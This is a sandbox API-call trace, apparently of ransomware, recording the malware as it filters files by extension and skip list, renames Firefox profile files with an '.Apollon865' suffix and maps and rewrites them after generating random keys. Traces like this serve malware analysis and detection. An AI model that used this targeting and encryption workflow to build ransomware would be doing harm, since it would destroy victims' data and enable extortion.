	[0042.603] lstrlenW (lpString="prefs.js") returned 8
	[0042.603] lstrlenW (lpString="Apollon865") returned 10
	[0042.603] lstrlenW (lpString=".dll") returned 4
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2=".dll") returned 1
	[0042.603] lstrlenW (lpString=".lnk") returned 4
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2=".lnk") returned 1
	[0042.603] lstrlenW (lpString=".ini") returned 4
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2=".ini") returned 1
	[0042.603] lstrlenW (lpString=".sys") returned 4
	[0042.603] lstrcmpiW (lpString1="prefs.js", lpString2=".sys") returned 1
	[0042.603] lstrlenW (lpString="prefs.js") returned 8
	[0042.603] lstrlenW (lpString="bak") returned 3
	[0042.603] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0042.603] lstrlenW (lpString="ba_") returned 3
	[0042.603] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0042.603] lstrlenW (lpString="dbb") returned 3
	[0042.603] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0042.603] lstrlenW (lpString="vmdk") returned 4
	[0042.604] lstrcmpiW (lpString1="s.js", lpString2="vmdk") returned -1
	[0042.604] lstrlenW (lpString="rar") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0042.604] lstrlenW (lpString="zip") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0042.604] lstrlenW (lpString="tgz") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0042.604] lstrlenW (lpString="vbox") returned 4
	[0042.604] lstrcmpiW (lpString1="s.js", lpString2="vbox") returned -1
	[0042.604] lstrlenW (lpString="vdi") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0042.604] lstrlenW (lpString="vhd") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0042.604] lstrlenW (lpString="vhdx") returned 4
	[0042.604] lstrcmpiW (lpString1="s.js", lpString2="vhdx") returned -1
	[0042.604] lstrlenW (lpString="avhd") returned 4
	[0042.604] lstrcmpiW (lpString1="s.js", lpString2="avhd") returned 1
	[0042.604] lstrlenW (lpString="db") returned 2
	[0042.604] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0042.604] lstrlenW (lpString="db2") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0042.604] lstrlenW (lpString="db3") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0042.604] lstrlenW (lpString="dbf") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0042.604] lstrlenW (lpString="mdf") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0042.604] lstrlenW (lpString="mdb") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0042.604] lstrlenW (lpString="sql") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0042.604] lstrlenW (lpString="sqlite") returned 6
	[0042.604] lstrcmpiW (lpString1="efs.js", lpString2="sqlite") returned -1
	[0042.604] lstrlenW (lpString="sqlite3") returned 7
	[0042.604] lstrcmpiW (lpString1="refs.js", lpString2="sqlite3") returned -1
	[0042.604] lstrlenW (lpString="sqlitedb") returned 8
	[0042.604] lstrlenW (lpString="xml") returned 3
	[0042.604] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0042.605] lstrlenW (lpString="$er") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0042.605] lstrlenW (lpString="4dd") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0042.605] lstrlenW (lpString="4dl") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0042.605] lstrlenW (lpString="^^^") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0042.605] lstrlenW (lpString="abs") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0042.605] lstrlenW (lpString="abx") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0042.605] lstrlenW (lpString="accdb") returned 5
	[0042.605] lstrcmpiW (lpString1="fs.js", lpString2="accdb") returned 1
	[0042.605] lstrlenW (lpString="accdc") returned 5
	[0042.605] lstrcmpiW (lpString1="fs.js", lpString2="accdc") returned 1
	[0042.605] lstrlenW (lpString="accde") returned 5
	[0042.605] lstrcmpiW (lpString1="fs.js", lpString2="accde") returned 1
	[0042.605] lstrlenW (lpString="accdr") returned 5
	[0042.605] lstrcmpiW (lpString1="fs.js", lpString2="accdr") returned 1
	[0042.605] lstrlenW (lpString="accdt") returned 5
	[0042.605] lstrcmpiW (lpString1="fs.js", lpString2="accdt") returned 1
	[0042.605] lstrlenW (lpString="accdw") returned 5
	[0042.605] lstrcmpiW (lpString1="fs.js", lpString2="accdw") returned 1
	[0042.605] lstrlenW (lpString="accft") returned 5
	[0042.605] lstrcmpiW (lpString1="fs.js", lpString2="accft") returned 1
	[0042.605] lstrlenW (lpString="adb") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0042.605] lstrlenW (lpString="adb") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0042.605] lstrlenW (lpString="ade") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0042.605] lstrlenW (lpString="adf") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0042.605] lstrlenW (lpString="adn") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0042.605] lstrlenW (lpString="adp") returned 3
	[0042.605] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0042.605] lstrlenW (lpString="alf") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0042.606] lstrlenW (lpString="ask") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0042.606] lstrlenW (lpString="btr") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0042.606] lstrlenW (lpString="cat") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0042.606] lstrlenW (lpString="cdb") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0042.606] lstrlenW (lpString="ckp") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0042.606] lstrlenW (lpString="cma") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0042.606] lstrlenW (lpString="cpd") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0042.606] lstrlenW (lpString="dacpac") returned 6
	[0042.606] lstrcmpiW (lpString1="efs.js", lpString2="dacpac") returned 1
	[0042.606] lstrlenW (lpString="dad") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0042.606] lstrlenW (lpString="dadiagrams") returned 10
	[0042.606] lstrlenW (lpString="daschema") returned 8
	[0042.606] lstrlenW (lpString="db-journal") returned 10
	[0042.606] lstrlenW (lpString="db-shm") returned 6
	[0042.606] lstrcmpiW (lpString1="efs.js", lpString2="db-shm") returned 1
	[0042.606] lstrlenW (lpString="db-wal") returned 6
	[0042.606] lstrcmpiW (lpString1="efs.js", lpString2="db-wal") returned 1
	[0042.606] lstrlenW (lpString="dbc") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0042.606] lstrlenW (lpString="dbs") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0042.606] lstrlenW (lpString="dbt") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0042.606] lstrlenW (lpString="dbv") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0042.606] lstrlenW (lpString="dbx") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0042.606] lstrlenW (lpString="dcb") returned 3
	[0042.606] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0042.607] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0042.607] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0042.607] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0042.607] lstrcmpiW (lpString1="s.js", lpString2="dlis") returned 1
	[0042.607] lstrcpyW (in: lpString1=0x2d3e600, lpString2="search.json" | out: lpString1="search.json") returned="search.json"
	[0042.607] lstrlenW (lpString="search.json") returned 11
	[0042.607] lstrlenW (lpString="Apollon865") returned 10
	[0042.607] lstrcmpiW (lpString1="earch.json", lpString2="Apollon865") returned 1
	[0042.607] lstrlenW (lpString=".dll") returned 4
	[0042.607] lstrcmpiW (lpString1="search.json", lpString2=".dll") returned 1
	[0042.607] lstrlenW (lpString=".lnk") returned 4
	[0042.607] lstrcmpiW (lpString1="search.json", lpString2=".lnk") returned 1
	[0042.607] lstrlenW (lpString=".ini") returned 4
	[0042.607] lstrcmpiW (lpString1="search.json", lpString2=".ini") returned 1
	[0042.607] lstrlenW (lpString=".sys") returned 4
	[0042.607] lstrcmpiW (lpString1="search.json", lpString2=".sys") returned 1
	[0042.607] lstrlenW (lpString="search.json") returned 11
	[0042.607] lstrcpyW (in: lpString1=0x2d3e600, lpString2="secmod.db" | out: lpString1="secmod.db") returned="secmod.db"
	[0042.607] lstrlenW (lpString="secmod.db") returned 9
	[0042.607] lstrlenW (lpString="Apollon865") returned 10
	[0042.607] lstrlenW (lpString=".dll") returned 4
	[0042.607] lstrcmpiW (lpString1="secmod.db", lpString2=".dll") returned 1
	[0042.607] lstrlenW (lpString=".lnk") returned 4
	[0042.607] lstrcmpiW (lpString1="secmod.db", lpString2=".lnk") returned 1
	[0042.607] lstrlenW (lpString=".ini") returned 4
	[0042.607] lstrcmpiW (lpString1="secmod.db", lpString2=".ini") returned 1
	[0042.607] lstrlenW (lpString=".sys") returned 4
	[0042.607] lstrcmpiW (lpString1="secmod.db", lpString2=".sys") returned 1
	[0042.607] lstrlenW (lpString="secmod.db") returned 9
	[0042.607] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.Apollon865") returned 108
	[0042.607] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db.apollon865"), dwFlags=0x1) returned 1
	[0042.610] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0042.610] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=16384) returned 1
	[0042.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0042.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0042.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0042.610] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0042.611] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0042.611] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.611] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4300, lpName=0x0) returned 0x150
	[0042.614] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4300) returned 0x100000
	[0042.616] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0042.616] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0042.616] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0042.616] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0042.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0042.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0042.616] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0042.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0042.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0042.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0042.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0042.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0042.617] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0042.617] CloseHandle (hObject=0x150) returned 1
	[0042.617] CloseHandle (hObject=0x158) returned 1
	[0042.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0042.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0042.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0042.619] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb82fff30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc3787480, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc3787480, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sessionstore.bak", cAlternateFileName="SESSIO~1.BAK")) returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="Apollon865.txt.exe") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2=".") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="..") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="windows") returned -1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="bootmgr") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="temp") returned -1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="pagefile.sys") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="boot") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="ids.txt") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="ntuser.dat") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="perflogs") returned 1
	[0042.619] lstrcmpiW (lpString1="sessionstore.bak", lpString2="MSBuild") returned 1
	[0042.619] lstrlenW (lpString="sessionstore.bak") returned 16
	[0042.619] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db") returned 97
	[0042.619] lstrcpyW (in: lpString1=0x2d3e600, lpString2="sessionstore.bak" | out: lpString1="sessionstore.bak") returned="sessionstore.bak"
	[0042.620] lstrlenW (lpString="sessionstore.bak") returned 16
	[0042.620] lstrlenW (lpString="Apollon865") returned 10
	[0042.620] lstrcmpiW (lpString1="nstore.bak", lpString2="Apollon865") returned 1
	[0042.620] lstrlenW (lpString=".dll") returned 4
	[0042.620] lstrcmpiW (lpString1="sessionstore.bak", lpString2=".dll") returned 1
	[0042.620] lstrlenW (lpString=".lnk") returned 4
	[0042.620] lstrcmpiW (lpString1="sessionstore.bak", lpString2=".lnk") returned 1
	[0042.620] lstrlenW (lpString=".ini") returned 4
	[0042.620] lstrcmpiW (lpString1="sessionstore.bak", lpString2=".ini") returned 1
	[0042.620] lstrlenW (lpString=".sys") returned 4
	[0042.620] lstrcmpiW (lpString1="sessionstore.bak", lpString2=".sys") returned 1
	[0042.620] lstrlenW (lpString="sessionstore.bak") returned 16
	[0042.620] lstrlenW (lpString="bak") returned 3
	[0042.621] lstrcmpiW (lpString1="bak", lpString2="bak") returned 0
	[0042.621] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.Apollon865") returned 115
	[0042.621] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak.apollon865"), dwFlags=0x1) returned 1
	[0042.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\sessionstore.bak.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x158
	[0042.622] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=982) returned 1
	[0042.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0042.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0042.622] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0042.622] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0042.623] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0042.623] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.623] CreateFileMappingW (hFile=0x158, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e0, lpName=0x0) returned 0x150
	[0042.624] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e0) returned 0x100000
	[0042.626] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0042.627] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0042.627] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0042.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0042.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0042.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0042.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0042.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0042.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0042.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0042.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0042.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0042.627] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0042.627] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0042.627] CloseHandle (hObject=0x150) returned 1
	[0042.628] CloseHandle (hObject=0x158) returned 1
	[0042.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0042.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0042.629] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0042.629] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb82fff30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x84e029d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x84e029d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbc5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sessionstore.js", cAlternateFileName="SESSIO~1.JS")) returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="Apollon865.txt.exe") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2=".") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="..") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="windows") returned -1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="bootmgr") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="temp") returned -1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="pagefile.sys") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="boot") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="ids.txt") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="ntuser.dat") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="perflogs") returned 1
	[0042.629] lstrcmpiW (lpString1="sessionstore.js", lpString2="MSBuild") returned 1
	[0042.630] lstrlenW (lpString="sessionstore.js") returned 15
	[0042.630] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\sessionstore.bak") returned 104
	[0042.630] lstrcpyW (in: lpString1=0x2d3e600, lpString2="sessionstore.js" | out: lpString1="sessionstore.js") returned="sessionstore.js"
	[0042.630] lstrlenW (lpString="sessionstore.js") returned 15
	[0042.630] lstrlenW (lpString="Apollon865") returned 10
	[0042.630] lstrcmpiW (lpString1="onstore.js", lpString2="Apollon865") returned 1
	[0042.630] lstrlenW (lpString=".dll") returned 4
	[0042.630] lstrcmpiW (lpString1="sessionstore.js", lpString2=".dll") returned 1
	[0042.630] lstrlenW (lpString=".lnk") returned 4
	[0042.630] lstrcmpiW (lpString1="sessionstore.js", lpString2=".lnk") returned 1
	[0042.630] lstrlenW (lpString=".ini") returned 4
	[0042.630] lstrcmpiW (lpString1="sessionstore.js", lpString2=".ini") returned 1
	[0042.630] lstrlenW (lpString=".sys") returned 4
	[0042.630] lstrcmpiW (lpString1="sessionstore.js", lpString2=".sys") returned 1
	[0042.630] lstrlenW (lpString="sessionstore.js") returned 15
	[0042.630] lstrlenW (lpString="bak") returned 3
	[0042.630] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0042.630] lstrlenW (lpString="ba_") returned 3
	[0042.630] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0042.630] lstrlenW (lpString="dbb") returned 3
	[0042.630] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0042.630] lstrlenW (lpString="vmdk") returned 4
	[0042.630] lstrcmpiW (lpString1="e.js", lpString2="vmdk") returned -1
	[0042.630] lstrlenW (lpString="rar") returned 3
	[0042.630] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0042.630] lstrlenW (lpString="zip") returned 3
	[0042.630] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0042.630] lstrlenW (lpString="tgz") returned 3
	[0042.630] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0042.630] lstrlenW (lpString="vbox") returned 4
	[0042.630] lstrcmpiW (lpString1="e.js", lpString2="vbox") returned -1
	[0042.630] lstrlenW (lpString="vdi") returned 3
	[0042.630] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0042.630] lstrlenW (lpString="vhd") returned 3
	[0042.630] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0042.630] lstrlenW (lpString="vhdx") returned 4
	[0042.630] lstrcmpiW (lpString1="e.js", lpString2="vhdx") returned -1
	[0042.630] lstrlenW (lpString="avhd") returned 4
	[0042.630] lstrcmpiW (lpString1="e.js", lpString2="avhd") returned 1
	[0042.631] lstrlenW (lpString="db") returned 2
	[0042.631] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0042.631] lstrlenW (lpString="db2") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0042.631] lstrlenW (lpString="db3") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0042.631] lstrlenW (lpString="dbf") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0042.631] lstrlenW (lpString="mdf") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0042.631] lstrlenW (lpString="mdb") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0042.631] lstrlenW (lpString="sql") returned 3
	[0042.631] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0042.631] lstrlenW (lpString="sqlite") returned 6
	[0042.631] lstrcmpiW (lpString1="ore.js", lpString2="sqlite") returned -1
	[0042.631] lstrlenW (lpString="sqlite3") returned 7
	[0042.631] lstrcmpiW (lpString1="tore.js", lpString2="sqlite3") returned 1
	[0042.631] lstrlenW (lpString="sqlitedb") returned 8
